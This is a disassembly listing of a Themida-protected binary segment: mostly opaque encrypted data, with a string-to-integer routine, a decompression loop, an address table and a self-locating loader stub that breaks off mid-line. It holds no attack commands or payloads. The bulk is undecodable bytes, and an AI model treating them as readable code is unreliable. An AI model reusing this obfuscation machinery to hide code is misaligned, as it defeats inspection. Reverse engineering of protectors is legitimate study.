840F0006h, 6, 3199D8Bh, 0BD830607h, 607144Dh dd 67840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 60E5C351h, 0DE9D4h dd 315B0000h, 0F4A49B4Eh, 29F058ACh, 83C3CD0Ah, 71715BDh dd 840F0006h, 2Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 1FC35343h, 53E8E6B9h, 37195C12h, 0F38166DEh dd 0BD839751h, 607144Dh, 1F840F00h, 0B7000000h, 0DA8B6678h dd 1715BD83h, 0F000607h, 0D84h, 78C0F00h, 56000000h, 44DB8166h dd 0BD835B21h, 607144Dh, 1A840F00h, 0B2000000h, 1BD8376h dd 6070Dh, 0B840Fh, 6E90000h, 0C5000000h, 3C8501C5h, 4DBD83A6h dd 60714h, 49840Fh, 0C6800000h, 95BD8314h, 60712h, 39840Fh dd 0B5890000h, 60727ADh, 1B6995FFh, 6A0607h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0A4880EC3h dd 0DE3D2F03h, 805DAC87h, 0C1BB9EDFh, 8B757AB1h, 2D9589C0h dd 81060705h, 0FE1D3CF3h, 0F5BD8379h, 6070Fh, 0BD830975h dd 6073001h, 501A7400h, 8BC08B53h, 7265D85h, 5D858906h dd 8D060726h, 9AD0E9Dh, 5BD3FF06h, 1BD8358h, 60730h, 53501874h dd 265D858Bh, 85890607h, 607265Dh, 0A9AF9D8Dh, 0D3FF0609h dd 8C0F585Bh, 6, 0C1D958Bh, 6A0607h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0D9D0EDC3h dd 9962B7D6h, 8B244BBFh, 70BDD9Dh, 0E9C08B06h, 0Bh, 0A8B807C8h dd 676B446Dh, 831D449Fh, 7144DBDh, 840F0006h, 2D7h, 0E4D958Bh dd 0BD830607h, 60710A1h, 14840F02h, 66000000h, 839EEEBAh dd 71265BDh, 850F0106h, 3, 60DF8B66h, 0DE8h, 0BE464900h dd 73687FAFh, 0F1A4C69Eh, 0D98AD31Bh, 8D8D8B5Ah, 0F06074Dh dd 1FED6B7h, 68D2BF0Fh, 0C383D0FAh, 0F682BAh, 2404812Dh dd 3C7C2F86h, 0B6D08B66h, 6AFF6A92h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 0DCE1C353h dd 8822A560h, 0FE8h, 0EAB45300h, 742C1184h, 26ABD6E5h dd 94AD292Dh, 118B0Fh, 0BE80000h, 15000000h, 0C9806460h dd 0E25B53FFh, 5B5A3A64h, 206995FFh, 5E90607h, 0C2000000h dd 0D831FDE7h, 3DC28061h, 0EE9h, 0B9BCED00h, 3605FA95h dd 34644448h, 8D66B6BAh, 724C9BDh, 0DD9D8B06h, 8B060715h dd 8B0F1C4Fh, 5, 0F38166h, 89016AC7h, 712A985h, 8E0F5006h dd 2, 0C89FE8Ah, 11810F24h, 0E9000000h, 0Ch, 9095AF34h dd 0D754DBF6h, 334F45B5h, 38DA858Dh, 9D89060Ah, 6073075h dd 6E9D0FFh, 57000000h, 5A35CC5Ah, 204F8B22h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6EC35646h, 32FE5A59h dd 28BA662Dh, 29036AD6h, 7104185h, 860F5006h, 2, 0C89DA8Ah dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 32E7C19Dh, 8B6694BCh, 0D38166D9h, 858DDB30h dd 60A38DAh, 16BDBD29h, 4EB60607h, 0FB6D0FFh, 24C9BD8Dh dd 11E90607h, 73000000h, 5DBA25A2h, 794C30E8h, 6EF24B6Dh dd 0CB43B9E2h, 0B61C4F8Bh, 0D2816649h, 16A4803h, 0D18B6650h dd 66240C89h, 858DD38Bh, 60A38DAh, 0FFD98B66h, 21BD89D0h dd 66060716h, 0F057E381h, 8B204F8Bh, 71E2995h, 16BA6606h dd 6A036ABCh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0DD00C353h, 4D3A13B7h, 0FF85442h dd 168Ch, 0FE800h, 0F3380000h, 0F10547BCh, 76BAF48Ah, 5CF297Fh dd 915BF889h, 2F49BA50h, 66911C11h, 0F680D08Bh, 0DA858DDDh dd 66060A38h, 0D0FFD98Bh, 3DF38166h, 2BCF8076h, 4D8D8D8Bh dd 958B0607h, 6070589h, 0BBB01FEh, 8B2EA32Fh, 74D8D85h dd 0D8BF0F06h, 958B00FEh, 6071225h, 9D29016Ah, 607301Dh dd 1D07E68h, 81D7B3BBh, 0CF812404h, 6A44FDh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 0BAE428C3h dd 8DA86946h, 0A38E485h, 0E2BB6606h, 0FD0FFD2h, 686h, 29958900h dd 8306072Ch, 72541BDh, 840F0006h, 117h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 14h, 0B4C35545h, 13E8h dd 33A2E900h, 5C3247E3h, 22874439h, 0EF47EA2h, 2B4F4DC9h dd 0AE8h, 0B81B100h, 0B33BDE09h, 81F65FF8h, 8EC32BD3h dd 535A5A66h, 835A65B2h, 7218DBDh, 850F0106h, 0BBh, 40EB8157h dd 5B091E2Ah, 38EE8D8Dh, 9D8B060Ah, 607211Dh, 0BD89036Ah dd 6070D1Dh, 8E0F016Ah, 2, 0D1FF9DB3h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 0D5C35646h, 2647C710h, 62F4B281h dd 1751958Bh, 16A0607h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 32C35242h, 0DCCEEB47h, 1CD38050h, 50016A5Ah dd 30F0BA66h, 6AD1FF5Ah, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 5B4EC351h, 611F01DFh dd 0A4DB8166h, 715EE8F2h, 8E9FA54h, 43000000h, 4B4339B5h dd 6AE807F8h, 0D3B70F20h, 0BB66FF6Ah, 95FF5E76h, 6072069h dd 0B8D68Bh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0F8D8C357h, 0C00BF60Ah dd 44840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0E7A33AC3h, 0CDBA6634h, 0C1BD8361h dd 60704h, 14840Fh, 85890000h, 6071E7Dh, 8787EBAh, 9995FF76h dd 8006072Ch, 858BE9F2h, 60706DDh, 5E9D38Bh, 3000000h dd 2E27530Bh, 0E90000C6h, 0Ah, 0DEF66D92h, 20980B8Ah, 8B584426h dd 7200195h, 0D98C6606h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 99C35141h, 0A979D0CDh, 15398D89h, 0C1F60607h dd 51840F04h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 0BDFAC351h, 0DF80138Dh dd 2AE92Ch, 0D08B0000h, 2FBDB58Bh, 0BA660607h, 0C6813D25h dd 1180h, 381958Bh, 6C70607h, 0 dd 7E9h, 891A4300h, 5E1C31F9h, 57006A5Eh, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 852963ABh dd 6071E39h, 30C59D89h, 6E80607h, 68000000h, 0A41A8445h dd 0DF8B6695h, 0F8835Bh, 0AAC840Fh, 9D8B0000h, 6071F75h dd 0F01F883h, 14E85h, 0B8F500h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0F25AC353h dd 0FBD38166h, 0FC00BF2h, 0E984h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1604h, 0C3574700h, 8AEE0355h dd 1F883D8h, 0D5840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 0BE7DF4C3h, 2810F94h dd 8B000000h, 3F883DEh, 4B840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 43C7CCC3h dd 18899BF9h, 54BBBE0Ch, 2B27F228h, 0F19589C0h, 8D06070Fh dd 5B89E0BDh, 0CD9D2900h, 0FF060721h, 859D8BE7h, 81060719h dd 3D6E04CBh, 1B81Dh, 0B5890000h, 6072199h, 89E0BD8Dh dd 9D33005Bh, 6071D9Dh, 6AE7FFh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 996A30C3h, 0DACB5E37h dd 0F2B20297h, 12998509h, 0BD8D0607h, 6074419h, 8800BA66h dd 233E9h, 0ED858900h, 0C706072Dh, 74DE885h, 506h, 8AFD8A00h dd 5B8F8h, 0DE8B0000h, 8C6E9h, 5BD8900h, 83060700h, 850F02F8h dd 10Fh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 9EC35040h, 0B8FD7BE8h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B8C35747h dd 8D315760h, 60730D1h, 0D2E98158h, 612F2809h, 840FC00Bh dd 82h, 15F98D01h, 0F8830607h, 70840F01h, 89FFFFFFh, 7273995h dd 3F88306h, 0FF07840Fh, 6AFFFFh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 67A03DC3h, 133C007Ah dd 8E929h, 16180000h, 0A83F9EEAh, 0C02BD9AAh, 13E9F9h dd 13C0000h, 546BA3DEh, 5E23D927h, 3CA6AADFh, 2D222859h dd 0E0BD8DADh, 0BB005B89h, 13DB4B8Fh, 7659D8Bh, 0E7FF0607h dd 1421BD31h, 0BD8D0607h, 6074611h, 11FE9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 17E2D406h, 3AC00ECDh, 4D8D897Ch, 83060708h, 850F03F8h dd 13h, 1DA19D8Bh, 0BD8D0607h, 60747A5h, 0DBE9h, 83F38A00h dd 850F05F8h, 35h, 6870F60h, 81000000h, 6CAFDAD7h, 0D9858B5Ah dd 6106071Eh, 0BAD8D29h, 64E90607h, 0F000007h, 0A8Eh, 5E900h dd 66D90000h, 2932F55Ah, 701F99Dh, 6F88306h, 1D850Fh, 0B5890000h dd 6070071h, 499DBD8Dh, 2CB20607h, 7FE9h, 5E900h, 0F37F0000h dd 83061455h, 850F07F8h, 39h, 1771BD8Dh, 6A0607h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 0E18F54C3h, 72E8CFD6h, 7D8D018Eh, 0E9060710h, 0A7h dd 0B4CCDCBAh, 0AF88360h, 2A850Fh, 0B5010000h, 6070A71h dd 95BD8DFCh, 6606074Bh, 15E9D78Bh, 0E9000000h, 0Bh, 7CAD41E2h dd 662F0691h, 669522C0h, 42AEEB81h, 51006A57h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1A04h, 0C3514100h, 0B16FB8D4h dd 0B99F726Bh, 0C528D0Eh, 8A6BEE80h, 3F83F1h, 38840Fh dd 31560000h, 7306595h, 0F305A06h, 0CDCA8166h, 66C9D1ACh dd 47F7ADBAh, 1AE99D8Bh, 0D6E90607h, 56FFFFFFh, 10E9h dd 0D4499600h, 564D06CFh, 16058BCh, 4582BF1Ah, 895F5B56h dd 74D91BDh, 9E906h, 8B5C0000h, 0EB86F72Bh, 8DC8D1DFh dd 72AE18Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0CEEDE3E1h, 947854EEh, 66B75675h dd 0D1B5FF5Bh, 6A060707h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F60C352h, 88Eh, 0D3815700h dd 73A79788h, 76858D5Bh, 500609A6h, 5505BD8Dh, 8D8D0607h dd 6076B0Dh, 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h dd 76A80B5h, 258D8D06h, 2B06076Bh, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 60704C1h, 0FF067400h, 72C9995h, 91B58B06h dd 8D06074Dh, 9A67685h, 8DD0FF06h, 743A585h, 0C7D0FF06h dd 70DB585h, 106h, 99A58B00h, 8B060708h, 701C9B5h, 71AD8B06h dd 33060708h, 0CC2C0h, 89D08B66h, 71D0995h, 0B9BD8306h dd 6071Ch, 13840Fh, 0BB660000h, 95FF1AF8h, 6070541h, 8BD78B66h dd 71ED99Dh, 6DBD8306h, 60712h, 188850Fh, 66600000h, 0CAB9FB8Bh dd 610C95ABh, 472D2BAh, 8DBD8366h, 1060721h, 16C850Fh dd 7E80000h, 54000000h, 1E9EBB5Ch, 0D88B1EF5h, 8DBD835Bh dd 6070Bh, 150840Fh, 0EA800000h, 0E4BD830Dh, 6074Dh, 140840Fh dd 85890000h, 607005Dh, 0A676858Dh, 9D8B0609h, 60702B1h dd 4D91B58Bh, 9D8B0607h, 6072041h, 9D23D0FFh, 6070A7Dh dd 2C0585C6h, 6A540607h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 0CD8C351h, 0A4240CFEh dd 1B518589h, 0D7680607h, 0FF7BB0Dh, 0B88h, 5820F00h, 0BA000000h dd 79EA30A0h, 1D240481h, 6A0793B1h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 90C351h dd 0B5FF5672h, 6071B2Dh, 5360D08Ah, 0D3BF0F5Eh, 24858D61h dd 0F06073Bh, 0D0FFD1B7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 0E1C35040h, 5FB72623h, 6A006Ah, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 4793E4C3h, 0B6C70962h, 51248029h, 12E8h, 73160300h dd 24FB8B0Ch, 0ADC246E5h, 66C33FBFh, 808DB49Ch, 5B5B8ECFh dd 9D33FF6Ah, 6072889h, 0DE8D0FFh, 0A7000000h, 0C4542A8Ah dd 610727E2h, 775DC38Ch, 0FF5BD18Bh, 721FDB5h, 95FFF506h dd 60707D1h, 5E59D8Bh, 0B58B0607h, 6074D91h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 95C35141h, 61D2D080h dd 81FEAEF1h, 0F45769C3h, 0BA66C301h, 0B58B33ABh, 60706DDh dd 6870Fh, 95890000h, 607098Dh, 0F60BDE8Ah, 0B840Fh, 8D890000h dd 6071AADh, 8A0006C6h, 998589FAh, 8906074Dh, 714D195h dd 0F88306h, 3B0840Fh, 0E9520000h, 11h, 49245FF6h, 0A4CCBB3Ah dd 302DB757h, 5865E95Bh, 0B85B13h, 60000000h, 1CF1B589h dd 81600607h, 0BF1D0CD3h, 8E0F36h, 61000000h, 0F88361h dd 0F5840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0EE8BBC3h, 24000000h, 0BAE51063h dd 43E30F1Dh, 0D19BA1F5h, 419D894Ch, 5A060732h, 0F02F883h dd 7E85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 729F2589h, 0F14E2ABh, 68Eh, 699D8900h dd 8D06072Ah, 7441485h, 41BD8906h, 2D060714h, 929h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C2C35747h, 5A457ED5h dd 0C56F2C92h, 6690F98Ah, 50960EBBh, 0DA8B6656h, 952B905Ah dd 60715A5h, 298589C3h, 0B8060717h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 8BC35545h dd 0E47FDBEFh, 958BB3B3h, 6071B95h, 285E9h, 0EA8100h, 0B851BB34h dd 1, 8DDBBF0Fh, 74419BDh, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 9523AB96h dd 6071F19h, 0F8E9h, 7E900h, 0C4BC0000h, 3B6A1A0Ah, 0FE8EFh dd 0EE440000h, 0C135BD32h, 9D2AADCFh, 7251EB30h, 71958B1Dh dd 5B060712h, 0F02F883h, 4785h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 2318468Bh dd 3175B589h, 0BD8D0607h, 6074611h, 96E953B6h, 60000000h dd 0A1D8589h, 8E90607h, 71000000h, 0E94995EEh, 61ADCA6Bh dd 0F03F883h, 3685h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 3A336AEh, 8DE0D780h, 747A5BDh dd 599D8B06h, 0E9060722h, 45h, 83D1B70Fh, 850F05F8h, 39h dd 14E8h, 67713A00h, 45D2EC75h, 8A6FE66h, 0DA5603BDh, 8FCFD3B4h dd 0E0A8BB32h, 0E95B28EAh, 0D7h, 10E9h, 4AE34800h, 5757C467h dd 15BBA910h, 0CD4D0743h, 958B57BCh, 60707A1h, 14E8h, 0BC5CC700h dd 0B7EA599Eh, 2B15B3C6h, 0F7B93E09h, 0C8A42F34h, 29C28105h dd 5B6CFCA7h, 528D0EB9h, 56006A0Ch, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 4AC79DABh, 648DF453h dd 9D8B90DFh, 6072791h, 8BD3B70Fh, 7175195h, 3F8306h, 59840Fh dd 958B0000h, 6070865h, 0DE9h, 699AFA00h, 11B98074h, 0C84370Fh dd 0F30B8CAh, 6676D280h, 0C9D1D68Bh, 20119D23h, 6A470607h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 5CD1C356h, 8D293286h, 607066Dh, 0FFFFA4E9h dd 959509FFh, 8306070Ch, 850F05F8h, 86h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Dh, 15C35040h, 3DC52935h dd 4133086Ch, 4D9D8B0Ch, 6606072Eh, 0C381D98Ch, 72B5E25Eh dd 0F04C1F6h, 3885h, 0B800h, 85890000h, 6072729h, 39E9h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 6F27BAA7h, 8BD87DD6h, 70C299Dh, 55858B06h dd 0F06072Dh, 0E0FFDFB7h, 1D11958Bh, 0BD830607h, 60707D1h dd 0AC850F00h, 29000000h, 72C8185h, 51605006h, 615ED68Bh dd 0E8240489h, 6, 0B0F705C5h, 0DB81BF37h, 0F0BAF9Dh, 585C65Ah dd 4506072Ch, 0E80DC281h, 0C3684F3Fh, 665C4195h, 481D78Bh dd 30D3A624h, 0FFBAB632h, 71B2DB5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1404h, 0C3554500h, 24858D64h dd 8B06073Bh, 7106D9Dh, 31D0FF06h, 70821B5h, 0D1858906h dd 56060707h, 585BD68Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0E1C35242h, 2AB0F418h, 34C72722h, 0D19D017Fh dd 8306072Ch, 74DE8BDh, 840F0006h, 31h, 21F19531h, 0B5FF0607h dd 60721FDh, 95FFF48Ah, 60707D1h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 8CC35040h, 0F88323h, 0E4850Fh dd 0D58A0000h, 2561BD83h, 0F000607h, 7084h, 81958B00h dd 89060713h, 7221595h, 61B5FF06h, 6A060725h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 57F7C353h, 0D9402530h, 5D958B26h, 66060706h, 0B8205EBBh dd 1, 80EB8166h, 21FE99Bh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0CBD7FAC3h dd 3DB1494Dh, 0FDB5FF20h, 0BB060721h, 723F78FCh, 21FDB5FFh dd 0AE90607h, 0A3000000h, 8EF9DC28h, 0BB7CCFAAh, 6810FFEh dd 89000000h, 71AD1BDh, 0D1B5FF06h, 89060707h, 7288985h dd 1BFE906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1A0424h, 51410000h, 0B48AB1C3h, 4B35BF03h, 12A1958Bh dd 6A5F0607h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0E9E6C350h, 6, 8B2E75D9h, 0DD8AEEADh dd 1BB9BD83h, 0F000607h, 8485h, 819D8B00h, 0C6060708h dd 72C0585h, 9E94D06h, 36000000h, 2B2BBFB9h, 792C8457h dd 3D49CA68h, 63B4604Fh, 3780B866h, 24048161h, 54F82CDEh dd 0C89B589h, 0B5FF0607h, 6071B01h, 3E3EBA50h, 8D5B58D3h dd 73B2485h, 0C870F06h, 0F000000h, 68Dh, 0E58D3100h, 0FF06071Eh dd 11E9D0h, 4BDD0000h, 68618B02h, 0D1A0F775h, 6B760E8Bh dd 89A05699h, 71BB985h, 68F0F06h, 8B000000h, 7134D9Dh dd 0B806h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 0E160F8C3h, 0C768901h, 0EE8BDDCh dd 51000000h, 8975F290h, 5C556B62h, 0E9D90D6Ah, 0E8C3819Bh dd 5B56BAF8h, 4D91BD89h, 0B70F0607h, 0BCDF80D8h, 840FC00Bh dd 16h, 0DC12CCBBh, 7BE944h, 8D0F0000h, 6, 0FC99D8Bh, 0B5FF0607h dd 60707D1h, 6E8h, 0B2652B00h, 9FC4550h, 72729BDh, 0F48A5A06h dd 0A676858Dh, 8E80609h, 3A000000h, 494B9DDh, 0E80252D9h dd 13h, 0FDFEDFD2h, 7D100B82h, 0CB72FFA2h, 0C82CC5DEh dd 292F43BDh, 709B58Dh, 505B5B06h, 6A240489h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0D565C350h, 8D565087h, 75505BDh, 0E48D8D06h, 0B8060774h dd 748323BCh, 730CF2Bh, 4947C8D0h, 585EF875h, 2561BD83h dd 74000607h, 558D8B06h, 3306071Fh, 0B8C9h, 0C00B0000h dd 0A8840Fh, 0BD830000h, 60704C1h, 0FF067400h, 72C9995h dd 0B806h, 0C00B0000h, 0BD830975h, 6074D99h, 83097401h dd 74D99BDh, 0E750206h, 4D91B58Bh, 858D0607h, 609A676h dd 0BD83D0FFh, 6071CB9h, 0FF067400h, 7054195h, 0A5858D06h dd 0FF060743h, 0A1BD83D0h, 2060710h, 0A58B2F75h, 6070899h dd 2561858Bh, 4890607h, 0B585C724h, 106070Dh, 8B000000h dd 74D95B5h, 71AD8B06h, 0B8060708h, 1, 0EB000CC2h, 0B585C700h dd 106070Dh, 8B000000h, 70899A5h, 0C9B58B06h, 8B060701h dd 70871ADh, 0C2C03306h, 0BD83000Ch, 6071CB9h, 830F7400h dd 70541BDh, 6740006h, 54195FFh, 0B58B0607h, 6074D91h dd 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 0EE4AF898h, 0BD29D258h, 6073141h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 2CC35545h, 0F0634425h dd 0BBF824CAh, 3A41B99h, 0BAh, 178C0F00h, 0F000000h, 1180h dd 0BE800h, 0BE8C0000h, 54F75995h, 0B53EFD3h db 83h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_4FEB62 ; --------------------------------------------------------------------------- loc_4FEB60: ; CODE XREF: Themida_:004FEB65j inc eax inc edi loc_4FEB62: ; CODE XREF: Themida_:004FEB5Ej cmp byte ptr [edi], 0 jnz short loc_4FEB60 xor ecx, ecx mov edi, [ebp+8] jmp short loc_4FEB91 ; --------------------------------------------------------------------------- loc_4FEB6E: ; CODE XREF: Themida_:004FEB93j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_4FEB86 ; --------------------------------------------------------------------------- loc_4FEB83: ; CODE XREF: Themida_:004FEB89j mul ebx dec esi loc_4FEB86: ; CODE XREF: Themida_:004FEB81j cmp esi, 0 ja short loc_4FEB83 pop ebx add ecx, eax pop eax inc edi dec eax loc_4FEB91: ; CODE XREF: Themida_:004FEB6Cj or eax, eax jnz short loc_4FEB6E mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- db 0Fh dd 0D8Dh, 8E900h, 473F0000h, 0A9C5DD6Eh, 6AF706h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0FD2A8DC3h, 0CA4B8516h, 85896A8Dh, 60700E5h, 0ADE9C18Bh dd 60000001h, 2424748Bh, 28247C8Bh, 8A80B2FCh, 7884606h dd 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h, 0FFFFE283h dd 0FD202FFh, 585h, 46168A00h, 830FD212h, 6Ah, 0D202C033h dd 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h, 585h dd 46168A00h, 0C013D212h, 850FD202h, 5, 1246168Ah, 2C013D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h, 5850Fh dd 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh dd 4707885Fh, 2BBh, 0FF70E900h, 1B8FFFFh, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h, 1784h dd 2D18300h, 8B56E88Bh, 0F3F02BF7h, 1BB5EA4h, 0E9000000h dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 23B9E900h dd 5CCA0002h, 57h, 0FF6C0000h, 5CCA0012h, 3F0057h, 40120256h dd 280057h, 2020256h, 20000h, 10000h, 30000h, 750E0000h dd 0FA48h, 4 dup(0) dd 4990000h, 0F480050h, 38610050h, 0F43D0050h, 926F004Fh dd 1B770050h, 53460050h, 45F30050h, 0C180050h, 32A50050h dd 6E850050h, 7D0C0050h, 669D0050h, 32BE0050h, 50820050h dd 0F3B80050h, 2908004Fh, 418B0050h, 0A2510050h, 71230050h dd 95120050h, 52B90050h, 207F0050h, 0EBA0050h, 1D080050h dd 760D0050h, 0F8CA0050h, 7B25004Fh, 0E710050h, 0FED0050h dd 53F90050h, 0A6230050h, 81D20050h, 945C0050h, 266B0050h dd 72A00050h, 12770050h, 0FA040050h, 54C2004Fh, 797A0050h dd 0FAA30050h, 4A0C004Fh, 670A0050h, 3D440050h, 2A080050h dd 0A35F0050h, 9D780050h, 84250050h, 88110050h, 792D0050h dd 26AC0050h, 93F30050h, 6A8C0050h, 9E410050h, 951F0050h dd 42AC0050h, 0A7B60050h, 3F530050h, 94ED0050h, 49280050h dd 823D0050h, 675A0050h, 7D960050h, 6CEC0050h, 2B450050h dd 0A4750050h, 79900050h, 69620050h, 2B60050h, 0F9360050h dd 3036004Fh, 72A90050h, 7A830050h, 0FF470050h, 87B4004Fh dd 11270050h, 110B0050h, 3C2A0050h, 0F1CB0050h, 0FAC2004Fh dd 83BB004Fh, 0F14A0050h, 55B2004Fh, 4C6F0050h, 8FD0050h dd 6CCD0050h, 272C0050h, 85550050h, 63B70050h, 0F6B20050h dd 1833004Fh, 0FD4E0050h, 7DBA004Fh, 95520050h, 573F0050h dd 84710050h, 0F4FC0050h, 4D36004Fh, 9F80050h, 8D020050h dd 63D40050h, 62680050h, 5C4F0050h, 2BC00050h, 97FF0050h dd 9E6D0050h, 0F30D0050h, 849D004Fh, 4B940050h, 4A980050h dd 3A1D0050h, 830A0050h, 4ECB0050h, 620B0050h, 1EED0050h dd 0A32B0050h, 43E70050h, 1B060050h, 8C800050h, 30680050h dd 31CD0050h, 7C0B0050h, 34A00050h, 3F6C0050h, 5C900050h dd 98FD0050h, 86460050h, 0AA650050h, 2A7B0050h, 20F70050h dd 85CE0050h, 2BE0050h, 38B30050h, 57000050h, 941E0050h dd 0F31C0050h, 0A4B1004Fh, 931F0050h, 77DA0050h, 103B0050h dd 32510050h, 63860050h, 827E0050h, 76420050h, 213F0050h dd 0AD560050h, 8FBC0050h, 5750050h, 94480050h, 0A7350050h dd 17970050h, 68FE0050h, 4CE80050h, 33EA0050h, 0FC4A0050h dd 85C004Fh, 130C0050h, 97120050h, 9FAB0050h, 91DA0050h dd 0AEF80050h, 23810050h, 96D60050h, 871D0050h, 607F0050h dd 0FEDD0050h, 0A554004Fh db 50h, 0 ; --------------------------------------------------------------------------- loc_4FF07A: ; CODE XREF: Themida_:00531859j ; Themida_:00543155j ... pusha pushf cld call $+5 pop edi sub edi, 6077B74h mov eax, edi add edi, 607788Ch cmp eax, [edi+2Ch] jnz short loc_4FF098 jmp short loc_4FF0AB ; --------------------------------------------------------------------------- loc_4FF098: ; CODE XREF: Themida_:004FF094j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_4FF0A7 ; --------------------------------------------------------------------------- loc_4FF0A2: ; CODE XREF: 